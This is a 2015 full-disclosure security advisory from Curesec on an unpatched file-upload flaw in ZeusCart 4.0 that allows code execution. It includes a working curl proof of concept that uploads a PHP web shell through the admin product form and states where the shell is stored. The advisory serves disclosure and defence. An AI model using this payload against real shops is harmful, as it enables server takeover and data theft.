ZeusCart 4.0 Code Execution

`ZeusCart 4.0: Code Execution  
Security Advisory – Curesec Research Team  
  
1. Introduction  
  
Affected Product: ZeusCart 4.0   
Fixed in: not fixed  
Fixed Version Link: n/a   
Vendor Contact: [email protected]   
Vulnerability Type: Code Execution   
Remote Exploitable: Yes   
Reported to vendor: 08/13/2015   
Disclosed to public: 09/14/2015   
Release mode: Full Disclosure   
CVE: n/a   
Credits Tim Coen of Curesec GmbH   
  
2. Vulnerability Description  
  
It is possible to upload PHP files when uploading an image for a new  
product. This leads to code execution once an attacker has gained access  
to the backend via SQL Injection, CSRF, or XSS.  
  
Please note that an admin account with the right to add products is needed.  
  
3. Proof of Concept  
  
  
curl -i -s -k -X 'POST' \  
-H 'Content-Type: multipart/form-data; boundary=--------1849257448' \  
-b 'PHPSESSID=6hioh2kisld85o5f3qo3e5gf86' \  
--data-binary $'----------1849257448\x0d\x0aContent-Disposition:  
form-data;  
name=\"selcatgory[]\"\x0d\x0a\x0d\x0a18\x0d\x0a----------1849257448\x0d\x0aContent-Disposition:  
form-data;  
name=\"selcatgory[]\"\x0d\x0a\x0d\x0a22\x0d\x0a----------1849257448\x0d\x0aContent-Disposition:  
form-data;  
name=\"product_title\"\x0d\x0a\x0d\x0atest\x0d\x0a----------1849257448\x0d\x0aContent-Disposition:  
form-data; name=\"desc\"\x0d\x0a\x0d\x0adesc\x0d  
\x0d\x0a----------1849257448\x0d\x0aContent-Disposition: form-data;  
name=\"sku\"\x0d\x0a\x0d\x0a5\x0d\x0a----------1849257448\x0d\x0aContent-Disposition:  
form-data;  
name=\"txtweight\"\x0d\x0a\x0d\x0a5\x0d\x0a----------1849257448\x0d\x0aContent-Disposition:  
form-data;  
name=\"status\"\x0d\x0a\x0d\x0aon\x0d\x0a----------1849257448\x0d\x0aContent-Disposition:  
form-data; name=\"ufile[0]\"; filename=\"test.php\"\x0d\x0aContent-Type:  
application/x-php\x0d\x0a\x0d\x0a<?php  
\x0apassthru($_GET[\'x\']);\x0a\x0d\x0a----------1849257448\x0d\x0aContent-Disposition:  
form-data;  
name=\"price\"\x0d\x0a\x0d\x0a6\x0d\x0a----------1849257448\x0d\x0aContent-Disposition:  
form-data;  
name=\"msrp_org\"\x0d\x0a\x0d\x0a6\x0d\x0a----------1849257448\x0d\x0aContent-Disposition:  
form-data;  
name=\"soh\"\x0d\x0a\x0d\x0a7\x0d\x0a----------1849257448--\x0d\x0a' \  
  
'http://localhost/zeuscart-master/admin/index.php?do=productentry&action=insert'  
The image will be located here:  
http://localhost/zeuscart-master/images/products/YYYY-MM-DDHHMMSStest.php  
  
4. Solution  
  
This issue was not fixed by the vendor.  
  
5. Report Timeline  
  
08/13/2015 Informed Vendor about Issue (no reply)  
09/07/2015 Reminded Vendor of release date (no reply)  
09/14/2015 Disclosed to public  
  
6. Blog Reference:  
http://blog.curesec.com/article/blog/ZeusCart-40-Code-Execution-57.html  
  
  
`